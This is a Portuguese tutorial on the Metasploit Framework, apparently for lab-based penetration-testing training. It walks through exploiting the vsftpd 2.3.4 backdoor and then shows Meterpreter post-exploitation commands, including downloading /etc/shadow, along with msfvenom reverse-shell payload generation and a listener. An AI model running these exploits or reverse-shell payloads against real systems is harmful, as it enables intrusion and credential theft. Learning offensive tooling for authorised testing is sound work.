Quase todo vídeo de hacking que você já assistiu tem a mesma cena: um terminal preto, uma vaca ou caveira em ASCII vermelho, alguém digitando exploit e um shell root aparecendo. Isso é o Metasploit, a primeira ferramenta ofensiva séria que a maioria das pessoas encontra. É também a que a maioria aprende mal, porque os tutoriais mostram os quatro comandos que funcionaram em uma máquina e nunca explicam por quê. Este guia ensina como usar o Metasploit direito: o modelo por trás dele, os sete comandos que cobrem quase tudo, um exploit completo do scan até o shell, e os erros que vão devorar a sua primeira semana. Percorra o guia junto com o curso Network Penetration Testing da HackerDNA e depois leve o que aprendeu para o lab Internal, uma rede corporativa viva na qual você invade direto do navegador.
O Metasploit é apenas um instrumento dentro de uma disciplina bem maior, então se você ainda está montando o mapa, nosso guia completo de penetration testing mostra onde a exploração entra no fluxo de trabalho. Cada número e cada comando abaixo foram conferidos na árvore de código do Metasploit Framework como ela está em agosto de 2026, versão 6.5.x.
TL;DR: o Metasploit é um framework que transforma "explorar este host" em quatro comandos: search, use, set, exploit. Ele é iniciado com msfconsole, já pré-instalado no Kali. O framework traz 5.077 módulos, 2.686 deles exploits, e o que os iniciantes entendem errado é a separação entre o exploit (a porta de entrada) e o payload (o que roda depois). Domine essa distinção e a maioria dos seus erros "no session was created" some.
O que é o Metasploit?
O Metasploit é um framework de exploração de código aberto: uma biblioteca de código de ataque pronto mais um console que cuida de toda a canalização em volta, como montar payloads, receber as conexões de volta e gerenciar os shells conquistados. A Rapid7 mantém o projeto, e o Metasploit Framework gratuito é a versão que praticamente todo mundo usa.
A palavra "framework" é a metade importante. O Metasploit não é um scanner nem um exploit isolado. É um formato comum no qual milhares de ataques sem relação entre si foram reescritos, de modo que um bug do Samba de 2007 e um bug do Confluence do ano passado são conduzidos pelo mesmo punhado de comandos. Contar os arquivos de módulo na árvore de código atual dá o tamanho dessa biblioteca:
| Tipo de módulo | Quantidade | Para que serve |
|---|---|---|
| Exploits | 2.686 | Aproveitam uma falha específica para rodar o seu código |
| Auxiliary | 1.332 | Escaneiam, fazem força bruta, enumeram. Sem payload |
| Payloads | 541 | O código que roda no alvo depois que você entra |
| Post | 435 | Rodam dentro de uma sessão existente: coleta, pivô, escalada |
| Encoders, NOPs, evasion | 83 | Remodelam os bytes do payload, sobretudo para bad characters |
Esses 2.686 exploits referenciam 2.519 CVEs distintas. Cruzando essa lista com o catálogo CISA Known Exploited Vulnerabilities (versão 2026.08.25, 1.676 entradas), 434 delas aparecem em uma lista oficial do governo americano de falhas com exploração confirmada na prática. Grosso modo, um quarto de tudo que a CISA manda as agências federais corrigirem com urgência tem um módulo Metasploit funcional a duas palavras de busca de distância.
Esse é o argumento honesto para aprendê-lo, e a seção sobre onde ele falha é o argumento honesto contra depender dele.
Instalar o Metasploit e abrir o msfconsole
No Kali Linux o Metasploit já está lá. Confirme e anote a versão:
msfconsole --version
# Framework Version: 6.5.xNo Ubuntu, Debian ou macOS, use o script de instalação nightly da Rapid7 em vez de um pacote da distribuição, porque pacotes de distribuição do Metasploit envelhecem rápido. O script importa a chave de assinatura da Rapid7 e integra o pacote ao seu gerenciador, então o msfupdate continua funcionando depois:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstallO Windows tem o próprio instalador assinado, linkado na documentação dos nightly installers.
Antes do primeiro uso, suba o banco de dados. O Metasploit roda sem ele, mas você perde hosts, services, loot e o cache dos resultados de busca:
sudo systemctl start postgresql
sudo msfdb init
msfconsoleJá no prompt msf6 >, confira a conexão com db_status. A primeira abertura demora, porque o Metasploit monta o cache de módulos. As seguintes são rápidas.
Um hábito que vale pegar de imediato: abra com msfconsole -q. A flag -q suprime o banner ASCII aleatório. O banner tem graça exatamente duas vezes.
Exploit, payload, sessão: o modelo que faz a ficha cair
Quase todo problema de iniciante com o Metasploit é, no fundo, uma confusão entre três palavras. Deixe-as claras e a ferramenta para de parecer arbitrária.
O exploit é a porta de entrada. Ele abusa de um bug específico em um software específico para fazer o alvo executar bytes da sua escolha. exploit/windows/smb/ms17_010_eternalblue é uma entrada por uma falha de SMB do Windows de 2017.
O payload é o que esses bytes fazem. O exploit dá a você a chance de executar alguma coisa. O payload decide se essa coisa é um shell comum, um agente Meterpreter ou um único comando que cria um usuário. Mesma porta, gente diferente atravessando.
A sessão é o resultado. Quando um payload liga de volta com sucesso, o Metasploit registra uma sessão que você pode usar, colocar em segundo plano e retomar.
Payloads staged e stageless
Esse é o detalhe que derruba mais iniciantes do que qualquer outro, e ele se esconde na pontuação. Veja estes dois nomes de payload:
windows/x64/meterpreter/reverse_tcp # staged (barra)
windows/x64/meterpreter_reverse_tcp # stageless (underscore)Um payload staged é dividido em dois. Um stager minúsculo de primeiro estágio é entregue pelo exploit, conecta de volta até você e baixa o Meterpreter de verdade por essa conexão. Ele é pequeno, o que importa quando a vulnerabilidade só dá algumas centenas de bytes de espaço.
Um payload stageless vai inteiro. É bem maior, mas não precisa de uma segunda ida e volta, então sobrevive a redes instáveis e a situações em que o alvo só consegue abrir uma conexão de saída.
Na prática, comece pelo staged. Se a sessão abre e morre em um ou dois segundos, ou se você vê o handler subir e nada chegar, troque a barra pelo underscore e tente de novo. O framework carrega 106 stagers e 48 stages que se combinam nos nomes staged, mais 323 singles independentes.
Reverse e bind
Um payload reverse_tcp faz o alvo sair até você. Um payload bind_tcp abre uma porta em escuta no alvo e espera você conectar. Tráfego de saída é permitido com muito mais frequência do que o de entrada, então reverse é o padrão por um bom motivo. Recorra ao bind só quando o alvo não conseguir chegar até você.
Os sete comandos do msfconsole que cobrem quase tudo
O Metasploit tem centenas de comandos. Sete deles são 95% da sua digitação.
search- achar um módulouse- selecioná-loinfo- ler o que ele realmente fazshow options- ver o que ele precisa de vocêset- preencher esses camposcheck- perguntar se o alvo é vulnerável, sem dispararexploit(ourun) - disparar
Busque direito e pare de rolar a tela
Digitar search smb devolve centenas de linhas que você não vai ler. O comando search aceita filtros, e quase ninguém ensina isso:
search cve:2017 type:exploit platform:windows
search type:exploit rank:excellent name:apache
search cve:2021-44228
search type:exploit platform:-windows # o menos exclui
search type:exploit -s disclosure_date -r # ordena do mais recenteA lista completa de palavras-chave inclui cve, edb, author, port, arch, rank, check e att&ck, entre outras. Rode search -h para ver todas. Se você chegou com a versão de um serviço vinda de um scan do Nmap, buscar por CVE ou por porta é o caminho mais curto até o módulo certo.
Leia o rank antes de usar qualquer coisa
Todo módulo de exploit carrega um rank de confiabilidade atribuído pelo autor segundo critérios publicados. Entre os 2.686 exploits, a distribuição é esta:
| Rank | Módulos | O que dizem os critérios do próprio framework |
|---|---|---|
| Excellent | 1.390 (51,7%) | Nunca derruba o serviço. Execução de comando, SQLi, inclusão de arquivo |
| Great | 294 (10,9%) | Detecta o alvo sozinho ou usa endereço de retorno checado por versão |
| Good | 254 (9,5%) | Tem um alvo padrão sensato, mas não detecta sozinho |
| Normal | 476 (17,7%) | Confiável, mas só contra uma versão específica |
| Average | 165 (6,1%) | Em geral pouco confiável ou difícil de explorar |
| Manual / Low | 100 (3,7%) | Menos de 15% de sucesso, ou negação de serviço disfarçada |
Metade do catálogo é execução de comando que não derruba o serviço. A outra metade merece um segundo de reflexão antes de você apontá-la para algo com que se importa. Um exploit de corrupção de memória classificado como Average contra o ERP de produção de um cliente é como se encerra um contrato antes da hora.
check nem sempre significa o que você acha
check é o comando mais seguro do Metasploit: ele testa a falha sem explorá-la. Mas só 1.531 dos 2.686 módulos de exploit (57,0%) implementam um check de fato. Os demais respondem:
[*] This module does not support check.Isso não é "o alvo está seguro". É "ninguém escreveu essa parte". Leia como ausência de informação, não como resultado negativo.
Como usar o Metasploit: seu primeiro exploit do início ao fim
Aqui está o ciclo inteiro contra um alvo propositalmente vulnerável. O exemplo é o backdoor do vsftpd 2.3.4, CVE-2011-2523, o primeiro abate tradicional no Metasploit porque a história é marcante: em meados de 2011 alguém comprometeu o servidor de download do vsftpd e enfiou um backdoor no tarball da versão. Qualquer nome de usuário terminado em :) abria um shell root na porta 6200. Ele ficou três dias no arquivo oficial.
Passo 1 - achar o serviço. Nmap primeiro, sempre. O Metasploit é a segunda ferramenta que você toca, nunca a primeira:
nmap -sV -p- 10.10.10.50
# 21/tcp open ftp vsftpd 2.3.4Passo 2 - achar o módulo. Você tem produto e versão, então busque pelo produto:
msf6 > search vsftpd
# Name Rank Check Description
- ---- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor excellent Yes VSFTPD v2.3.4 Backdoor Command ExecutionPasso 3 - selecionar e inspecionar. O use aceita o nome ou o número de índice da última busca:
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > infoO info é o passo que as pessoas pulam e não deveriam. Ele mostra o rank, a CVE, a data de divulgação, os autores, os alvos e uma descrição do mecanismo real. Sessenta segundos de leitura aqui evitam que você dispare um exploit de Windows 7 contra uma máquina Server 2019.
Passo 4 - preencher o que ele pede.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.10.50
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 10.10.14.5RHOSTS é o alvo. LHOST é você, e é o erro mais comum da ferramenta inteira. Em uma VPN precisa ser o seu endereço da VPN, não o da sua rede local. Pegue direto da interface:
ip addr show tun0 | grep inetPasso 5 - checar e disparar.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > check
[+] 10.10.10.50:21 - The target appears to be vulnerable.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 10.10.10.50:21 - Banner: 220 (vsFTPd 2.3.4)
[+] 10.10.10.50:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (10.10.14.5:4444 -> 10.10.10.50:41352)
meterpreter > getuid
Server username: rootÉ esse o ciclo inteiro. Escanear, buscar, selecionar, configurar, checar, explorar. Todo módulo do framework segue esse caminho, seja o alvo um daemon FTP de 2011 ou um bug de desserialização Java do trimestre passado. Os comandos não mudam, só as opções.
Esse módulo é bom para aprender porque tem AutoCheck embutido, um dos 668 módulos que verificam o alvo antes de disparar sem você pedir.
O que fazer depois de conseguir uma sessão Meterpreter
O Meterpreter é o payload da casa do Metasploit: um agente que roda em memória no alvo e fala um protocolo estruturado de volta com você, em vez de empurrar um shell cru por um socket. Isso entrega transferência de arquivos, controle de processos, capturas de tela e pivô como comandos de primeira classe, sem ginástica de shell.
Primeiro, se oriente. Estes quatro respondem "onde estou e quem sou eu":
meterpreter > getuid # com qual conta o payload está rodando
meterpreter > sysinfo # SO, arquitetura, nome do host
meterpreter > ifconfig # que outras redes este host enxerga
meterpreter > ps # processos em execuçãoDepois mova dados e caia num shell normal quando precisar:
meterpreter > download /etc/shadow ./loot/
meterpreter > upload linpeas.sh /tmp/
meterpreter > shell # shell comum do SO, Ctrl+Z para voltar
meterpreter > background # guarda a sessão, volta ao prompt msf6Mandar a sessão para segundo plano é o hábito que separa quem está à vontade no Metasploit de quem não está. Guarde a sessão, faça outra coisa, volte:
msf6 > sessions -l # lista todas as sessões
msf6 > sessions -i 1 # volta para a sessão 1Com uma sessão guardada, os 435 módulos post ficam disponíveis, e eles rodam dentro dessa sessão:
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
msf6 post(multi/recon/local_exploit_suggester) > runO local exploit suggester lê o sistema operacional e o nível de correções do alvo e diz quais módulos de escalada de privilégios local podem funcionar. Trate a saída dele como uma lista de pistas a investigar, não como veredito. Ele é generoso nas sugestões e calado sobre confiabilidade, e metade do que propõe não vai disparar. A outra metade você acha na mão, lendo você mesmo as tarefas cron, os binários SUID e as regras de sudo.
Quando não existe módulo: msfvenom e multi/handler
A maioria dos pontos de entrada reais não é um exploit enlatado. Você acha um upload de arquivo, uma injeção de comando ou credenciais de um painel administrativo, e precisa levar o seu próprio payload. É aí que entra o msfvenom, o gerador de payloads do Metasploit, junto de um listener simples:
# Gerar o payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o payload.elf
# Receber
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.5
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.5:4444A regra única: o PAYLOAD, o LHOST e o LPORT do handler precisam bater exatamente com os que você embutiu no arquivo. Um payload staged recebido por um handler stageless produz uma conexão que abre e morre na hora, e a mensagem de erro não vai dizer o motivo. Nosso cheat sheet do msfvenom tem geradores prontos para copiar e colar em todos os formatos comuns.
Quando o Metasploit é a ferramenta errada
Aqui está a parte que as páginas de venda deixam de fora. O catálogo de exploits do Metasploit é antigo, e isso é mensurável. Lendo a data de divulgação dos 2.686 módulos de exploit, a mediana é 2013. Apenas 23,1% cobrem vulnerabilidades divulgadas em 2020 ou depois, e 11,8% em 2023 ou depois.
Isso não é crítica ao projeto, é a descrição de para que ele serve. O Metasploit é um arquivo excelente de exploração já assentada e bem compreendida, exatamente a matéria-prima das máquinas de CTF, dos labs de treino e das redes internas abandonadas. Não é onde acontece a exploração fresca. Uma vulnerabilidade divulgada na terça passada vai ter prova de conceito no GitHub semanas antes de ter um módulo, se é que vai ter.
Mais três limites que vale conhecer antes de criar um hábito em torno da ferramenta:
- Exames de certificação restringem seu uso. As regras do OSCP da OffSec permitem módulos do Metasploit e o payload Meterpreter contra exatamente uma máquina do exame, à sua escolha, e uma vez escolhida você fica preso a ela. A restrição se estende a qualquer coisa que envolva o framework. Confira o texto vigente no guia do exame OSCP e, se você está mirando essa certificação, nosso guia de preparação para o OSCP explica como treinar dentro dessa limitação.
- Ele é barulhento. Os payloads Meterpreter padrão e as portas padrão estão entre os artefatos mais bem assinados do setor, então qualquer rede monitorada vai perceber. Isso é normal em labs e na maioria dos testes autorizados. Só significa que o Metasploit nunca tentou ser uma ferramenta furtiva.
- Pule o Armitage. Essa interface gráfica ainda aparece em tutoriais, mas a última versão estável é de 13 de agosto de 2015, e desde então o framework mudou por mais de uma década. Aprenda o console. É o que todo write-up, todo colega e todo exame pressupõem.
O motivo mais forte para aprender exploração manual junto com o Metasploit não é o regulamento de exame, de todo modo. É que, quando um módulo falha, e módulos falham o tempo todo, você precisa conseguir ler o código-fonte do exploit e descobrir qual das suas premissas o seu alvo quebrou.
Os erros que você vai encontrar na primeira semana
Estes cinco respondem pela maior parte da frustração.
| O que você vê | O que costuma significar |
|---|---|
Exploit completed, but no session was created | O LHOST está errado, um firewall cortou o retorno, ou a arquitetura do payload não bate com o alvo. Confira o LHOST contra o ip addr primeiro, sempre. |
This module does not support check | O módulo não tem método check. 43% dos exploits não têm. Não diz nada sobre o alvo. |
| A sessão abre e morre em um segundo | Payload staged com transferência de stage instável. Troque para a variante stageless: meterpreter/reverse_tcp vira meterpreter_reverse_tcp. |
No database support na abertura | O PostgreSQL não está rodando. sudo systemctl start postgresql && sudo msfdb init. |
Address already in use no handler | Um handler antigo ainda segura a porta 4444. jobs -l para listar, jobs -k <id> para matar, ou simplesmente escolha outro LPORT. |
Em máquinas de lab, o hábito que mais economiza tempo é sem graça: confirmar o LHOST antes de disparar, não depois. Troque entre uma VPN e a rede local e o endereço muda, mas o Metasploit guarda o que você configurou por último. Deixe o cheat sheet do Metasploit da HackerDNA aberto ao lado do console enquanto trabalha.
Considerações legais e éticas
Lembrete essencial: sempre obtenha autorização por escrito antes de testar qualquer sistema. Disparar um exploit contra um host que você não possui nem tem permissão para testar é crime na maioria dos países, incluindo o artigo 154-A do Código Penal brasileiro, o Computer Fraud and Abuse Act nos Estados Unidos e o Computer Misuse Act no Reino Unido.
O Metasploit reduz o esforço de exploração a quatro comandos. Ele não reduz nem um milímetro do limite legal. O framework é uma ferramenta profissional usada sob contrato, e a diferença entre um pentester e um réu é um documento de escopo assinado.
- Pratique só em alvos feitos para isso: labs da HackerDNA, máquinas virtuais propositalmente vulneráveis que você mesmo hospeda, ou plataformas nas quais você tem conta.
- Nunca aponte um módulo para um endereço IP que você encontrou escaneando a internet, por mais aberto que pareça.
- Leia o rank antes de disparar em qualquer trabalho autorizado. Um exploit classificado como Average que derruba um serviço de produção é uma indisponibilidade real com custo real.
- Registre o que rodou e quando. Se um serviço cair uma hora depois, o seu log é o que prova que não foi você.
Perguntas frequentes sobre o Metasploit
Hackers de verdade usam o Metasploit?
Sim, dos dois lados. Pentesters e equipes de red team o usam sob contrato porque ele padroniza a exploração e o relatório, e grupos criminosos o usam porque é gratuito e eficaz. É também a razão de existirem tantas regras de detecção para o comportamento padrão do Meterpreter: a ferramenta é tão usada que os defensores se calibraram especificamente para ela.
Qual a diferença entre Metasploit e msfconsole?
O Metasploit é o framework, ou seja, a biblioteca de módulos mais o código que a conduz. O msfconsole é a interface de linha de comando interativa com que você conversa com ele, e é a interface que praticamente toda a documentação pressupõe. Msfvenom e msfdb são ferramentas de linha de comando separadas que vêm com o mesmo framework.
O Metasploit é gratuito?
O Metasploit Framework é gratuito e de código aberto sob a licença BSD de 3 cláusulas, e inclui todos os módulos discutidos aqui. A Rapid7 também vende o Metasploit Pro, que acrescenta interface web, cadeias de tarefas, relatórios e ferramentas de campanha de engenharia social. Para aprender, para CTFs e para a maior parte do trabalho de consultoria, o framework gratuito é a ferramenta completa.
Preciso do Kali Linux para rodar o Metasploit?
Não. O Kali só o entrega pré-instalado e pré-configurado, o que elimina uma etapa. O instalador nightly da Rapid7 coloca o mesmo framework no Ubuntu, Debian, macOS e Windows. O que você precisa é de uma máquina que o alvo consiga alcançar pela rede, e é por isso que iniciantes no Windows costumam rodá-lo dentro de uma VM Linux.
Qual a diferença entre um shell e uma sessão Meterpreter?
Uma sessão de shell é um interpretador de comandos cru passando por um socket, igual ao que você pegaria com o Netcat. Uma sessão Meterpreter roda o agente próprio do Metasploit em memória, dando comandos estruturados para transferência de arquivos, controle de processos, pivô e módulos post. O Meterpreter é mais capaz, maior e muito mais sujeito a ser sinalizado por software de segurança.
Por que meu exploit diz que terminou mas nenhuma sessão foi criada?
Na maioria dos casos o payload rodou mas não conseguiu chegar até você. Verifique se o LHOST é o endereço da interface voltada para o alvo, e não o da sua rede doméstica, e depois se nada está filtrando a porta escolhida. Se os dois estiverem certos, a arquitetura do payload pode não bater com o alvo: um payload de 64 bits não roda em um processo de 32 bits.
Seus próximos passos
Agora você sabe como usar o Metasploit como algo além de um conjunto de teclas decoradas: abra com msfconsole -q, busque com filtros em vez de rolar a tela, leia o rank e a página info, mantenha exploit e payload separados na cabeça, e confira o LHOST antes de cada tiro. Esse é o fluxo inteiro, e ele não muda conforme os alvos ficam mais difíceis.
O jeito mais rápido de fixar isso é abrir sessões em alvos reais. Comece pelo lab Internal, onde você enumera uma rede corporativa, explora um serviço e sobe até root, e depois avance capítulo a capítulo no curso Network Penetration Testing pela enumeração que precisa vir antes de qualquer exploit valer a tentativa. Tudo roda no navegador, e o plano gratuito não pede cartão de crédito nem VM.
Depois vá quebrar alguma coisa que você tem permissão para quebrar.
Parte da série Penetration Testing
Artigos relacionados:
